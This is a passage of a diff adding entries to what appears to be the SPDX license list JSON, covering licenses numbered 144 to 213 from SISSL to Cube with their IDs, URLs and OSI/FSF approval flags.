+ "reference": "https://spdx.org/licenses/SISSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SISSL.json",
+ "referenceNumber": 144,
+ "name": "Sun Industry Standards Source License v1.1",
+ "licenseId": "SISSL",
+ "seeAlso": [
+ "http://www.openoffice.org/licenses/sissl_license.html",
+ "https://opensource.org/licenses/SISSL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Naumen.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Naumen.json",
+ "referenceNumber": 145,
+ "name": "Naumen Public License",
+ "licenseId": "Naumen",
+ "seeAlso": [
+ "https://opensource.org/licenses/Naumen"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/HTMLTIDY.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HTMLTIDY.json",
+ "referenceNumber": 146,
+ "name": "HTML Tidy License",
+ "licenseId": "HTMLTIDY",
+ "seeAlso": [
+ "https://github.com/htacg/tidy-html5/blob/next/README/LICENSE.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.8.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.8.json",
+ "referenceNumber": 147,
+ "name": "Open LDAP Public License v2.8",
+ "licenseId": "OLDAP-2.8",
+ "seeAlso": [
+ "http://www.openldap.org/software/release/license.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/blessing.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/blessing.json",
+ "referenceNumber": 148,
+ "name": "SQLite Blessing",
+ "licenseId": "blessing",
+ "seeAlso": [
+ "https://www.sqlite.org/src/artifact/e33a4df7e32d742a?ln\u003d4-9",
+ "https://sqlite.org/src/artifact/df5091916dbb40e6"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-2.0.json",
+ "referenceNumber": 149,
+ "name": "Creative Commons Attribution No Derivatives 2.0 Generic",
+ "licenseId": "CC-BY-ND-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGTSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGTSL.json",
+ "referenceNumber": 150,
+ "name": "Open Group Test Suite License",
+ "licenseId": "OGTSL",
+ "seeAlso": [
+ "http://www.opengroup.org/testing/downloads/The_Open_Group_TSL.txt",
+ "https://opensource.org/licenses/OGTSL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0-or-later.json",
+ "referenceNumber": 151,
+ "name": "GNU Library General Public License v2 or later",
+ "licenseId": "LGPL-2.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Parity-7.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Parity-7.0.0.json",
+ "referenceNumber": 152,
+ "name": "The Parity Public License 7.0.0",
+ "licenseId": "Parity-7.0.0",
+ "seeAlso": [
+ "https://paritylicense.com/versions/7.0.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-1.0.json",
+ "referenceNumber": 153,
+ "name": "Creative Commons Attribution No Derivatives 1.0 Generic",
+ "licenseId": "CC-BY-ND-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/dvipdfm.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/dvipdfm.json",
+ "referenceNumber": 154,
+ "name": "dvipdfm License",
+ "licenseId": "dvipdfm",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/dvipdfm"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Python.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Python.json",
+ "referenceNumber": 155,
+ "name": "CNRI Python License",
+ "licenseId": "CNRI-Python",
+ "seeAlso": [
+ "https://opensource.org/licenses/CNRI-Python"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause-UC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause-UC.json",
+ "referenceNumber": 156,
+ "name": "BSD-4-Clause (University of California-Specific)",
+ "licenseId": "BSD-4-Clause-UC",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLOD-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLOD-1.0.json",
+ "referenceNumber": 157,
+ "name": "Norwegian Licence for Open Government Data (NLOD) 1.0",
+ "licenseId": "NLOD-1.0",
+ "seeAlso": [
+ "http://data.norge.no/nlod/en/1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MS-RL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MS-RL.json",
+ "referenceNumber": 158,
+ "name": "Microsoft Reciprocal License",
+ "licenseId": "MS-RL",
+ "seeAlso": [
+ "http://www.microsoft.com/opensource/licenses.mspx",
+ "https://opensource.org/licenses/MS-RL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-4.0.json",
+ "referenceNumber": 159,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 4.0 International",
+ "licenseId": "CC-BY-NC-SA-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/HaskellReport.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HaskellReport.json",
+ "referenceNumber": 160,
+ "name": "Haskell Language Report License",
+ "licenseId": "HaskellReport",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Haskell_Language_Report_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-1.0.json",
+ "referenceNumber": 161,
+ "name": "Creative Commons Attribution 1.0 Generic",
+ "licenseId": "CC-BY-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/UCL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/UCL-1.0.json",
+ "referenceNumber": 162,
+ "name": "Upstream Compatibility License v1.0",
+ "licenseId": "UCL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/UCL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Mup.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Mup.json",
+ "referenceNumber": 163,
+ "name": "Mup License",
+ "licenseId": "Mup",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Mup"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SMPPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SMPPL.json",
+ "referenceNumber": 164,
+ "name": "Secure Messaging Protocol Public License",
+ "licenseId": "SMPPL",
+ "seeAlso": [
+ "https://github.com/dcblake/SMP/blob/master/Documentation/License.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PHP-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PHP-3.0.json",
+ "referenceNumber": 165,
+ "name": "PHP License v3.0",
+ "licenseId": "PHP-3.0",
+ "seeAlso": [
+ "http://www.php.net/license/3_0.txt",
+ "https://opensource.org/licenses/PHP-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GL2PS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GL2PS.json",
+ "referenceNumber": 166,
+ "name": "GL2PS License",
+ "licenseId": "GL2PS",
+ "seeAlso": [
+ "http://www.geuz.org/gl2ps/COPYING.GL2PS"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CrystalStacker.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CrystalStacker.json",
+ "referenceNumber": 167,
+ "name": "CrystalStacker License",
+ "licenseId": "CrystalStacker",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:CrystalStacker?rd\u003dLicensing/CrystalStacker"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C-20150513.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C-20150513.json",
+ "referenceNumber": 168,
+ "name": "W3C Software Notice and Document License (2015-05-13)",
+ "licenseId": "W3C-20150513",
+ "seeAlso": [
+ "https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NIST-PD-fallback.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NIST-PD-fallback.json",
+ "referenceNumber": 169,
+ "name": "NIST Public Domain Notice with license fallback",
+ "licenseId": "NIST-PD-fallback",
+ "seeAlso": [
+ "https://github.com/usnistgov/jsip/blob/59700e6926cbe96c5cdae897d9a7d2656b42abe3/LICENSE",
+ "https://github.com/usnistgov/fipy/blob/86aaa5c2ba2c6f1be19593c5986071cf6568cc34/LICENSE.rst"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-1.0.json",
+ "referenceNumber": 170,
+ "name": "Open Government Licence v1.0",
+ "licenseId": "OGL-UK-1.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/1/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPL-1.0.json",
+ "referenceNumber": 171,
+ "name": "Common Public License 1.0",
+ "licenseId": "CPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1-only.json",
+ "referenceNumber": 172,
+ "name": "GNU Lesser General Public License v2.1 only",
+ "licenseId": "LGPL-2.1-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-2.0.json",
+ "referenceNumber": 173,
+ "name": "Zope Public License 2.0",
+ "licenseId": "ZPL-2.0",
+ "seeAlso": [
+ "http://old.zope.org/Resources/License/ZPL-2.0",
+ "https://opensource.org/licenses/ZPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Frameworx-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Frameworx-1.0.json",
+ "referenceNumber": 174,
+ "name": "Frameworx Open License 1.0",
+ "licenseId": "Frameworx-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Frameworx-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0-only.json",
+ "referenceNumber": 175,
+ "name": "GNU Affero General Public License v3.0 only",
+ "licenseId": "AGPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/DRL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DRL-1.0.json",
+ "referenceNumber": 176,
+ "name": "Detection Rule License 1.0",
+ "licenseId": "DRL-1.0",
+ "seeAlso": [
+ "https://github.com/Neo23x0/sigma/blob/master/LICENSE.Detection.Rules.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EFL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EFL-2.0.json",
+ "referenceNumber": 177,
+ "name": "Eiffel Forum License v2.0",
+ "licenseId": "EFL-2.0",
+ "seeAlso": [
+ "http://www.eiffel-nice.org/license/eiffel-forum-license-2.html",
+ "https://opensource.org/licenses/EFL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-99.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-99.json",
+ "referenceNumber": 178,
+ "name": "Spencer License 99",
+ "licenseId": "Spencer-99",
+ "seeAlso": [
+ "http://www.opensource.apple.com/source/tcl/tcl-5/tcl/generic/regfronts.c"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CAL-1.0-Combined-Work-Exception.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CAL-1.0-Combined-Work-Exception.json",
+ "referenceNumber": 179,
+ "name": "Cryptographic Autonomy License 1.0 (Combined Work Exception)",
+ "licenseId": "CAL-1.0-Combined-Work-Exception",
+ "seeAlso": [
+ "http://cryptographicautonomylicense.com/license-text.html",
+ "https://opensource.org/licenses/CAL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-invariants-only.json",
+ "referenceNumber": 180,
+ "name": "GNU Free Documentation License v1.1 only - invariants",
+ "licenseId": "GFDL-1.1-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TCL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TCL.json",
+ "referenceNumber": 181,
+ "name": "TCL/TK License",
+ "licenseId": "TCL",
+ "seeAlso": [
+ "http://www.tcl.tk/software/tcltk/license.html",
+ "https://fedoraproject.org/wiki/Licensing/TCL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SHL-0.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SHL-0.5.json",
+ "referenceNumber": 182,
+ "name": "Solderpad Hardware License v0.5",
+ "licenseId": "SHL-0.5",
+ "seeAlso": [
+ "https://solderpad.org/licenses/SHL-0.5/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0-RFN.json",
+ "referenceNumber": 183,
+ "name": "SIL Open Font License 1.0 with Reserved Font Name",
+ "licenseId": "OFL-1.0-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0.json",
+ "referenceNumber": 184,
+ "name": "GNU Library General Public License v2 only",
+ "licenseId": "LGPL-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-W-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-W-2.0.json",
+ "referenceNumber": 185,
+ "name": "CERN Open Hardware Licence Version 2 - Weakly Reciprocal",
+ "licenseId": "CERN-OHL-W-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Glide.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Glide.json",
+ "referenceNumber": 186,
+ "name": "3dfx Glide License",
+ "licenseId": "Glide",
+ "seeAlso": [
+ "http://www.users.on.net/~triforce/glidexp/COPYING.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/mpich2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/mpich2.json",
+ "referenceNumber": 187,
+ "name": "mpich2 License",
+ "licenseId": "mpich2",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/psutils.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/psutils.json",
+ "referenceNumber": 188,
+ "name": "psutils License",
+ "licenseId": "psutils",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/psutils"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SPL-1.0.json",
+ "referenceNumber": 189,
+ "name": "Sun Public License v1.0",
+ "licenseId": "SPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/SPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-1.1.json",
+ "referenceNumber": 190,
+ "name": "Apache License 1.1",
+ "licenseId": "Apache-1.1",
+ "seeAlso": [
+ "http://apache.org/licenses/LICENSE-1.1",
+ "https://opensource.org/licenses/Apache-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-4.0.json",
+ "referenceNumber": 191,
+ "name": "Creative Commons Attribution No Derivatives 4.0 International",
+ "licenseId": "CC-BY-ND-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FreeBSD-DOC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FreeBSD-DOC.json",
+ "referenceNumber": 192,
+ "name": "FreeBSD Documentation License",
+ "licenseId": "FreeBSD-DOC",
+ "seeAlso": [
+ "https://www.freebsd.org/copyright/freebsd-doc-license/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SCEA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SCEA.json",
+ "referenceNumber": 193,
+ "name": "SCEA Shared Source License",
+ "licenseId": "SCEA",
+ "seeAlso": [
+ "http://research.scea.com/scea_shared_source_license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Latex2e.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Latex2e.json",
+ "referenceNumber": 194,
+ "name": "Latex2e License",
+ "licenseId": "Latex2e",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Latex2e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0-cl8.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0-cl8.json",
+ "referenceNumber": 195,
+ "name": "Artistic License 1.0 w/clause 8",
+ "licenseId": "Artistic-1.0-cl8",
+ "seeAlso": [
+ "https://opensource.org/licenses/Artistic-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-1.1.json",
+ "referenceNumber": 196,
+ "name": "SGI Free Software License B v1.1",
+ "licenseId": "SGI-B-1.1",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NRL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NRL.json",
+ "referenceNumber": 197,
+ "name": "NRL License",
+ "licenseId": "NRL",
+ "seeAlso": [
+ "http://web.mit.edu/network/isakmp/nrllicense.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SWL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SWL.json",
+ "referenceNumber": 198,
+ "name": "Scheme Widget Library (SWL) Software License Agreement",
+ "licenseId": "SWL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/SWL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zed.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zed.json",
+ "referenceNumber": 199,
+ "name": "Zed License",
+ "licenseId": "Zed",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Zed"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-1.1.json",
+ "referenceNumber": 200,
+ "name": "CERN Open Hardware Licence v1.1",
+ "licenseId": "CERN-OHL-1.1",
+ "seeAlso": [
+ "https://www.ohwr.org/project/licenses/wikis/cern-ohl-v1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RHeCos-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RHeCos-1.1.json",
+ "referenceNumber": 201,
+ "name": "Red Hat eCos Public License v1.1",
+ "licenseId": "RHeCos-1.1",
+ "seeAlso": [
+ "http://ecos.sourceware.org/old-license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/JasPer-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JasPer-2.0.json",
+ "referenceNumber": 202,
+ "name": "JasPer License",
+ "licenseId": "JasPer-2.0",
+ "seeAlso": [
+ "http://www.ece.uvic.ca/~mdadams/jasper/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSPL-1.0.json",
+ "referenceNumber": 203,
+ "name": "Server Side Public License, v 1",
+ "licenseId": "SSPL-1.0",
+ "seeAlso": [
+ "https://www.mongodb.com/licensing/server-side-public-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0+.json",
+ "referenceNumber": 204,
+ "name": "GNU General Public License v2.0 or later",
+ "licenseId": "GPL-2.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.4.json",
+ "referenceNumber": 205,
+ "name": "Open LDAP Public License v1.4",
+ "licenseId": "OLDAP-1.4",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dc9f95c2f3f2ffb5e0ae55fe7388af75547660941"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/libpng-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libpng-2.0.json",
+ "referenceNumber": 206,
+ "name": "PNG Reference Library version 2",
+ "licenseId": "libpng-2.0",
+ "seeAlso": [
+ "http://www.libpng.org/pub/png/src/libpng-LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Python-GPL-Compatible.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Python-GPL-Compatible.json",
+ "referenceNumber": 207,
+ "name": "CNRI Python Open Source GPL Compatible License Agreement",
+ "licenseId": "CNRI-Python-GPL-Compatible",
+ "seeAlso": [
+ "http://www.python.org/download/releases/1.6.1/download_win/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Aladdin.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Aladdin.json",
+ "referenceNumber": 208,
+ "name": "Aladdin Free Public License",
+ "licenseId": "Aladdin",
+ "seeAlso": [
+ "http://pages.cs.wisc.edu/~ghost/doc/AFPL/6.01/Public.htm"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-1.0.json",
+ "referenceNumber": 209,
+ "name": "CeCILL Free Software License Agreement v1.0",
+ "licenseId": "CECILL-1.0",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V1-fr.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Ruby.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Ruby.json",
+ "referenceNumber": 210,
+ "name": "Ruby License",
+ "licenseId": "Ruby",
+ "seeAlso": [
+ "http://www.ruby-lang.org/en/LICENSE.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPL-1.1.json",
+ "referenceNumber": 211,
+ "name": "Netscape Public License v1.1",
+ "licenseId": "NPL-1.1",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/NPL/1.1/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ImageMagick.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ImageMagick.json",
+ "referenceNumber": 212,
+ "name": "ImageMagick License",
+ "licenseId": "ImageMagick",
+ "seeAlso": [
+ "http://www.imagemagick.org/script/license.php"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Cube.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Cube.json",
+ "referenceNumber": 213,
+ "name": "Cube License",
+ "licenseId": "Cube",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Cube"
+ ],
